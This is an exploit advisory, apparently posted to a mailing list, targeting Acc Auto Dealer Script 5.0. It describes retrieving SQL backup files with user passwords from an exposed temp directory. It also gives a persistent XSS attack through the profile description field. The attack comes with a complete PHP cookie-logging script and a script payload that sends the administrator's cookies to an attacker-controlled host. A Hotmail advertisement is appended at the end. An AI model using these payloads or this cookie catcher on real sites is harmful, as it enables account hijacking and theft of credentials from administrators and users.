Acc Auto Dealer Script XSS / Backup Disclosure

`  
______ __ ______   
/\ == \ /\ \ /\ __ \   
\ \ __< \ \ \ \ \ \/\ \   
\ \_____\ \ \_\ \ \_____\   
\/_____/ \/_/ \/_____/   
  
01000010 01101001 01001111   
  
[#]----------------------------------------------------------------[#]  
#   
# [+] Acc Auto Dealer Script [ Persistent XSS / SQL backup ]  
#  
# // Author Info   
# [x] Author: bi0  
# [x] Contact: [email protected]   
# [x] Homepage : www.ssteam.ws  
# [x] Thanks: packetdeath,redking,Zer0flag,sp1r1t and ssteam.ws ...  
#  
# // Software Info   
# [x] Name : Auto Dealer Script   
# [x] Vendor : http://www.accscripts.com/autos/  
# [x] Version : 5.0  
#  
[#]-------------------------------------------------------------------------------------------[#]  
#  
# [x] Exploit :   
#   
# [SQL Backup]   
#   
# http://localhost/[path]/temp/  
# and serach for .sql .You can find users & passwords  
#  
# [ Persistent XSS ]   
#  
# At the Auto Dealer Script you can register as an normal user and at your Control Panel  
# You can modify "Description" and put there an javascript code to steal cookies, Then if   
# Site admin visits your profile you can steal their cookies. EX :  
#   
# // Cookie Catcher "cookie.php"  
# You must Host somewhere cookie.php   
#=======================================================================   
  
<?php  
$cookie = $_GET['c'];  
$ip = getenv ('REMOTE_ADDR');  
$date=date("j F, Y, g:i a");;  
$referer=getenv ('HTTP_REFERER');  
$fp = fopen('cookies.html', 'a');  
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');  
fclose($fp);  
?>  
  
#=========================================================================  
#   
# // And at your Description type :   
#  
#=========================================================================  
  
"/><script>document.location="http://host/cookie.php?c="+document.cookie</script>  
  
#=========================================================================   
#   
# Now if site admin visits you'r profile their cookies will be saved at   
# http://host/cookie.html   
#  
[#]------------------------------------------------------------------------------------------[#]  
  
#EOF   
_________________________________________________________________  
Windows Live Hotmail: Your friends can get your Facebook updates, right from Hotmail®.  
http://www.microsoft.com/middleeast/windows/windowslive/see-it-in-action/social-network-basics.aspx?ocid=PID23461::T:WLMTAGL:ON:WL:en-xm:SI_SB_4:092009`